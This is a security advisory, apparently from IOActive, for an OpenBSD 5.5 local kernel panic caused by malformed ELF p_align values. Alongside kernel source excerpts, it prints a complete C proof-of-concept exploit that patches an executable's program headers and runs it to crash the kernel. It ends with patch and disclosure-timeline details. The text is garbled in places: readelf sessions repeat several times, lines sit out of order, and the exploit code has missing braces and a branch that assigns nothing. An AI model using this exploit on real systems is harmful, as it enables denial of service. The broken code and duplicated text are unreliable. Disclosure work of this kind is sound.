IOActive Security Advisory

<table>
<thead>
<tr>
<th>Title</th>
<th>OpenBSD ≤ 5.5 Local Kernel Panic</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Medium/High</td>
</tr>
<tr>
<td>Discovered by</td>
<td>Alejandro Hernández</td>
</tr>
<tr>
<td>CVE ID</td>
<td>TBD</td>
</tr>
</tbody>
</table>

**Affected Products**
OpenBSD ≤ 5.5 (All architectures)

**Impact**
A non-privileged use could cause a local Denial-of-Service (DoS) condition by triggering a kernel panic through a malformed ELF executable.

**Technical Details**
The crash was found by fuzzing the *Program Header Table* from a common ELF executable. All the test cases were created with IOActive’s Melkor, which is a specific fuzzer for this file format: [https://github.com/IOActive/Melkor_ELF_Fuzzer](https://github.com/IOActive/Melkor_ELF_Fuzzer). The fuzzing rule that reproduces the bug is *pht5* that basically violates the page alignment specification (*PAGE_SIZE +/- 1* or a random value).
The kernel panic is reached at the UVM (virtual memory) subsystem. There are different if-else validations inside `uvm_map()`, and `uvm_map_vmspace_update()` is called in the last else block as follows:

```
sys/uvm/uvm_map.c:
    if (flags & UVM_FLAG_FIXED) {
        ...
    } else if (*addr != 0 && (*addr & PAGE_MASK) == 0 &&
        (map->flags & VM_MAP_ISVMSPACE) == VM_MAP_ISVMSPACE &&
        (align == 0 || (*addr & (align - 1)) == 0) &&
        uvm_map_isavail(map, NULL, &first, &last, *addr, sz)) {
        /*
         * Address used as hint.
         *
         * Note: we enforce the alignment restriction,
         * but ignore pmap_prefer.
         */
    } else if ((maxprot & VM_PROT_EXECUTE) != 0 &&
        ...)
    } else {
        /*
         * Update freelists from vmspace.
         */
        if (map->flags & VM_MAP_ISVMSPACE)
            uvm_map_vmspace_update(map, &dead, flags);
```
Inside `uvm_map_vmspace_update()` is where the panic is reached:

```c
sys/uvm/uvm_map.c:
/*
 * Update map allocation start and end addresses from proc vmspace.
 */
void
uvm_map_vmspace_update(struct vm_map *map,
    struct uvm_map_deadq *dead, int flags)
{
    struct vmspace *vm;
    vaddr_t b_start, b_end, s_start, s_end;

    KASSERT(map->flags & VM_MAP_ISVMSPACE);
    KASSERT(offsetof(struct vmspace, vm_map) == 0);

    /*
     * Derive actual allocation boundaries from vmspace.
     */
    vm = (struct vmspace *)map;
    b_start = (vaddr_t)vm->vm_daddr;
    b_end = b_start + BRKSIZ;
    s_start = MIN((vaddr_t)vm->vm_maxsaddr, (vaddr_t)vm->vm_minsaddr);
    s_end = MAX((vaddr_t)vm->vm_maxsaddr, (vaddr_t)vm->vm_minsaddr);

    #ifdef DIAGNOSTIC
    if ((b_start & (vaddr_t)PAGE_MASK) != 0 ||
        (b_end & (vaddr_t)PAGE_MASK) != 0 ||
        (s_start & (vaddr_t)PAGE_MASK) != 0 ||
        (s_end & (vaddr_t)PAGE_MASK) != 0) {
        panic("uvm_map_vmspace_update: vmspace %p invalid bounds: 
"b=0x%lx-0x%lx s=0x%lx-0x%lx",
            vm, b_start, b_end, s_start, s_end);
    }
    #endif
```
PAGE_MASK and other page related macros are defined as:

**sys/uvm/uvm_param.h:**

```c
/*
 * The machine independent pages are referred to as PAGES. A page
 * is some number of hardware pages, depending on the target machine.
 */
#define DEFAULT_PAGE_SIZE 4096
#else defined(_KERNEL) && !defined(PAGE_SIZE)
/*
 * All references to the size of a page should be done with PAGE_SIZE
 * or PAGE_SHIFT. The fact they are variables is hidden here so that
 * we can easily make them constant if we so desire.
 */
#define PAGE_SIZE uvmexp.pagesize /* size of page */
#define PAGE_MASK uvmexp.pagemask /* size of page - 1 */
#define PAGE_SHIFT uvmexp.pageshift /* bits to shift for pages */
#endif /* _KERNEL */
```
The members of the `uvmexp` structure are initialized as:

```c
sys/uvm/uvm_page.c:
/*
 * uvm_setpagesize: set the page size
 *
 * => sets page_shift and page_mask from uvmexp.pagesize.
 */

void
uvm_setpagesize(void)
{
    if (uvmexp.pagesize == 0)
        uvmexp.pagesize = DEFAULT_PAGE_SIZE;
    uvmexp.pagemask = uvmexp.pagesize - 1;
    if ((uvmexp.pagemask & uvmexp.pagesize) != 0)
        panic("uvm_setpagesize: page size not a power of two");
    for (uvmexp.pageshift = 0; ; uvmexp.pageshift++)
        if ((1 << uvmexp.pageshift) == uvmexp.pagesize)
            break;
}```
Suppose that `uvmexp.pagesize` is set to `DEFAULT_PAGE_SIZE`, which is the default alignment in the original compiled executable, `PAGE_SIZE` would be 0x1000 (4096) and `PAGE_MASK` 0x0fff, hence, `b_start` and `b_end` do not fulfill the `& PAGE_MASK != 0`. For example:

```
b_start = 0x16231100
b_end   = 0x56231100
PAGE_MASK 0x00000fff
```

At a first glance, it seems that the kernel crashes because of the values in `p_align`, which are not powers of two:

```
$ readelf -lW orc_* | egrep "File|LOAD"
File: orc_0191
  Type LOAD Offset 0x001080 0x20001080 0x20001080 0x000bc 0x000bc RW 0x1001
File: orc_0202
  Type LOAD Offset 0x001120 0x20003120 0x20003120 0x00000 0x00140 RW 0xb16b00b5
File: orc_0269
  Type LOAD Offset 0x001080 0x20001080 0x20001080 0x000bc 0x000bc RW 0x43434343
File: orc_0315
  Type LOAD Offset 0x00113c 0x2000213c 0x2000213c 0x00078 0x00078 RW 0xd15ea5e
File: orc_1746
  Type LOAD Offset 0x001120 0x20003120 0x20003120 0x00000 0x00140 RW 0xbad0c0de
```

However, the panic could be reproduced with other test cases with powers of two in `p_align`:

```
$ for r in $(perl -e '$foo = 0x00; while($foo < 0xffffffff){ if(($foo & ($foo - 1)) == 0){ printf("0x%x\n", $foo); } $foo += rand()*10;}' ); do ./patcher_p_align ./foo55_i386 $r; done
```
Amongst all the test cases created, these two are the simplest ones: 2 and 4 in every PT_LOAD segment trigger the panic:

```
$ readelf -lW p_align* | egrep "File|LOAD"
```

<table>
<thead>
<tr>
<th>File: p_align_all_LOADS_0x02</th>
<th>Type</th>
<th>Offset</th>
<th>VirtAddr</th>
<th>PhysAddr</th>
<th>FileSiz</th>
<th>MemSiz</th>
<th>Flg</th>
<th>Align</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOAD</td>
<td>0x000000</td>
<td>0x00000000</td>
<td>0x00000000</td>
<td>0x00a5d</td>
<td>0x00a5d</td>
<td>R E</td>
<td>0x2</td>
<td></td>
</tr>
<tr>
<td>LOAD</td>
<td>0x001000</td>
<td>0x20000000</td>
<td>0x20000000</td>
<td>0x00005</td>
<td>0x00005</td>
<td>R</td>
<td>0x2</td>
<td></td>
</tr>
<tr>
<td>LOAD</td>
<td>0x001008</td>
<td>0x20001008</td>
<td>0x20001008</td>
<td>0x000bc</td>
<td>0x000bc</td>
<td>RW</td>
<td>0x2</td>
<td></td>
</tr>
<tr>
<td>LOAD</td>
<td>0x0010c4</td>
<td>0x200020c4</td>
<td>0x200020c4</td>
<td>0x00044</td>
<td>0x00044</td>
<td>RW</td>
<td>0x2</td>
<td></td>
</tr>
<tr>
<td>LOAD</td>
<td>0x001120</td>
<td>0x20003120</td>
<td>0x20003120</td>
<td>0x00000</td>
<td>0x00140</td>
<td>RW</td>
<td>0x2</td>
<td></td>
</tr>
</tbody>
</table>

| File: p_align_all_LOADS_0x04 |
|------------------------------|------------------|
| Type                         | Offset           | VirtAddr | PhysAddr | FileSiz | MemSiz | Flg | Align |
| LOAD                         | 0x000000         | 0x00000000 | 0x00000000 | 0x00a5d | 0x00a5d | R E | 0x4 |
| LOAD                         | 0x001000         | 0x20000000 | 0x20000000 | 0x00005 | 0x00005 | R   | 0x4 |
| LOAD                         | 0x001008         | 0x20001008 | 0x20001008 | 0x000bc | 0x000bc | RW  | 0x4 |
| LOAD                         | 0x0010c4         | 0x200020c4 | 0x200020c4 | 0x00044 | 0x00044 | RW  | 0x4 |
| LOAD                         | 0x001120         | 0x20003120 | 0x20003120 | 0x00000 | 0x00140 | RW  | 0x4 |

Some specific circumstances must be present to trigger the panic. In the following example, the panic is triggered only if the value 0xb16b00b5 is set in the last loadable segment, but not in all segments nor in the previous or first one. The binary modifications in between were made with HT Editor.
$ readelf -lW 0xb16b00b5 | grep LOAD
LOAD  0x000000 0x00000000 0x00000000 0x00a5d 0x00a5d R E 0xb16b00b5
LOAD  0x001000 0x20000000 0x20000000 0x00005 0x00005 R 0xb16b00b5
LOAD  0x001008 0x20001008 0x20001008 0x000bc 0x000bc RW 0xb16b00b5
LOAD  0x0010c4 0x200020c4 0x200020c4 0x00044 0x00044 RW 0xb16b00b5
LOAD  0x001120 0x20003120 0x20003120 0x00000 0x00140 RW 0xb16b00b5
$ ./0xb16b00b5
ksh: ./0xb16b00b5: Cannot allocate memory
$ ht 0xb16b00b5
$ readelf -lW 0xb16b00b5 | grep LOAD
LOAD  0x000000 0x00000000 0x00000000 0x00a5d 0x00a5d R E 0x1000
LOAD  0x001000 0x20000000 0x20000000 0x00005 0x00005 R 0x1000
LOAD  0x001008 0x20001008 0x20001008 0x000bc 0x000bc RW 0xb16b00b5
LOAD  0x0010c4 0x200020c4 0x200020c4 0x00044 0x00044 RW 0xb16b00b5
LOAD  0x001120 0x20003120 0x20003120 0x00000 0x00140 RW 0xb16b00b5
$ ./0xb16b00b5
ksh: ./0xb16b00b5: Cannot allocate memory
$ ht 0xb16b00b5
$ readelf -lW 0xb16b00b5 | grep LOAD
LOAD  0x000000 0x00000000 0x00000000 0x00a5d 0x00a5d R E 0x1000
LOAD  0x001000 0x20000000 0x20000000 0x00005 0x00005 R 0x1000
LOAD  0x001008 0x20001008 0x20001008 0x000bc 0x000bc RW 0xb16b00b5
LOAD  0x0010c4 0x200020c4 0x200020c4 0x00044 0x00044 RW 0xb16b00b5
LOAD  0x001120 0x20003120 0x20003120 0x00000 0x00140 RW 0xb16b00b5
$ ./0xb16b00b5
ksh: ./0xb16b00b5: Cannot allocate memory
$ ht 0xb16b00b5
$ readelf -lW 0xb16b00b5 | grep LOAD
LOAD  0x000000 0x00000000 0x00000000 0x00a5d 0x00a5d R E 0x1000
LOAD  0x001000 0x20000000 0x20000000 0x00005 0x00005 R 0x1000
LOAD  0x001008 0x20001008 0x20001008 0x000bc 0x000bc RW 0xb16b00b5
LOAD  0x0010c4 0x200020c4 0x200020c4 0x00044 0x00044 RW 0xb16b00b5
LOAD  0x001120 0x20003120 0x20003120 0x00000 0x00140 RW 0xb16b00b5
This bug was reproduced under:

- OpenBSD 5.5 i386
- OpenBSD 5.5 amd64
- OpenBSD 5.2 i386

LOAD 0x001120 0x20003120 0x20003120 0x00000 0x00140 RW 0xb16b00b5
$ ./0xb16b00b5
PANIC
Proof of Concept

Mon Oct 20 18:10:36 CDT 2014

OpenBSD/i386 (babilonia.localdomain) (ttyC0)

login: nitrous
Password:
Last login: Mon Oct 20 18:08:02 on ttysp0 from 192.168.241.1

OpenBSD 5.5 (GENERIC) #276: Wed Mar 5 09:57:06 MST 2014

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well.

You have mail.

$ uname -a
OpenBSD babilonia.localdomain 5.5 GENERIC#276 i386
```c
#include <stdio.h>

int main()
{
    printf("foo\n");
    return 0;
}
```

$ gcc foo.c -o foo && ./foo

$ head tenochtitlan.c
/
  tenochtitlan.c
  *
  * OpenBSD <= 5.5 Local Kernel Panic
  * by Alejandro Hernandez (@nitr0usmx)
  *
  * This PoC works only for i386.
  *
  * Mexico / Oct 2014
  */

$ gcc tenochtitlan.c
/tmp/ccicQSUge.o(.text+0x1b2): In function 'main':
  warning: rand() isn't random: consider using arc4random()
/tmp/ccicQSUge.o(.text+0x1ad): In function 'main':
  warning: srand() seed choices are invariably poor
tenochtitlan.c:

/*
 * tenochtitlan.c
 *
 * OpenBSD <= 5.5 Local Kernel Panic
 * by Alejandro Hernandez (@nitr0usmx)
 *
 * This PoC works only for i386.
 *
 * Bug found with Melkor (ELF file format fuzzer)
 * https://github.com/IOActive/Melkor_ELF_Fuzzer
 *
 * Mexico / Oct 2014
 */

#include <stdio.h>
#include <string.h>
```c
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>

#ifndef __OpenBSD__
  #error "Not an OpenBSD system !!!1111"
#else
#include <sys/exec_elf.h>
#endif

#ifndef __i386__
  #error "Not an i386 system !!!1111"
#endif

// In Aztec mythology, Huitzilopochtli, was a god of war, a sun god, 
// the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
const char pyramid[] = "                  _____
"                 _|[]|_  
"               _/_/=|_  
_                  
_                  
_                  
_                  
_                  
_/                     \n
struct {
    unsigned int idx;
    Elf32_Word   p_align;
} targets[] = {
    { 6, 0xb16b00b5 }, // (  *  )(  *  )
    { 6, 0xdeadface },
    { 4, 0x00001001 },
    { 0, 0x00000004 }
};

int main(int argc, char **argv)
```
Elf32_Ehdr *hdr;
Elf32_Phdr *pht; // Program Header Table
struct stat statinfo;
char *elfptr;
int fd, r;

if(argc < 2){
    fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
    exit(-1);
}

if((fd = open(argv[1], O_RDWR)) == -1){
    perror("open");
    exit(-1);
}

if(fstat(fd, &statinfo) == -1){
    perror("stat");
    close(fd);
    exit(-1);
}

if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
    perror("mmap");
    close(fd);
    exit(-1);
}

hdr = (Elf32_Ehdr *) (elfptr);
pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);

printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);

srand(time(NULL));
r = rand();

if(r % 3 == 0){
    #ifdef OpenBSD5_5
pht[targets[0].idx].p_align = targets[0].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
#else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
pht[targets[1].idx].p_align = targets[1].p_align;
printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
#endif
else if(r % 3 == 1){
    printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
} else {
    int p;

    for(p = 0; p < hdr->e_phnum; p++, pht++)
        if(pht->p_type == PT_LOAD){
            pht->p_align = targets[3].p_align;
            printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
        }
}

// Synchronize the ELF in memory and the file system
if(msync(elfptr, 0, MSASYNC) == -1){
    perror("msync");
    close(fd);
    exit(-1);
}

if(munmap(elfptr, statinfo.st_size) == -1){
    perror("munmap");
    close(fd);
    exit(-1);
}

close(fd);
printf("%s", pyramid);
sleep(1);
system(argv[1]);

// Should never reach this point, however sometimes the OS didn't crash with system() until the 2nd execution. Same behavior with execl and execv too.
printf("... try to execute %s manually.\n", argv[1]);
    return -1;
}

Remediation

A patch has been released to address this issue and is available in CVS via the OPENBSD_5_5 patch branch. See 013 Reliability Fix at: http://www.openbsd.org/errata55.html#013_kernexec.

On the other hand, you can upgrade to OpenBSD 5.6 to avoid the vulnerability. The local kernel panic affects OpenBSD 5.5 and earlier.

Timeline

- October 13, 2014 – IOActive discovered bug
- October 14, 2014 – Bug reported to OpenBSD
- October 20, 2014 – OpenBSD issued a Fix
- October 21, 2014 – Advisory and PoC published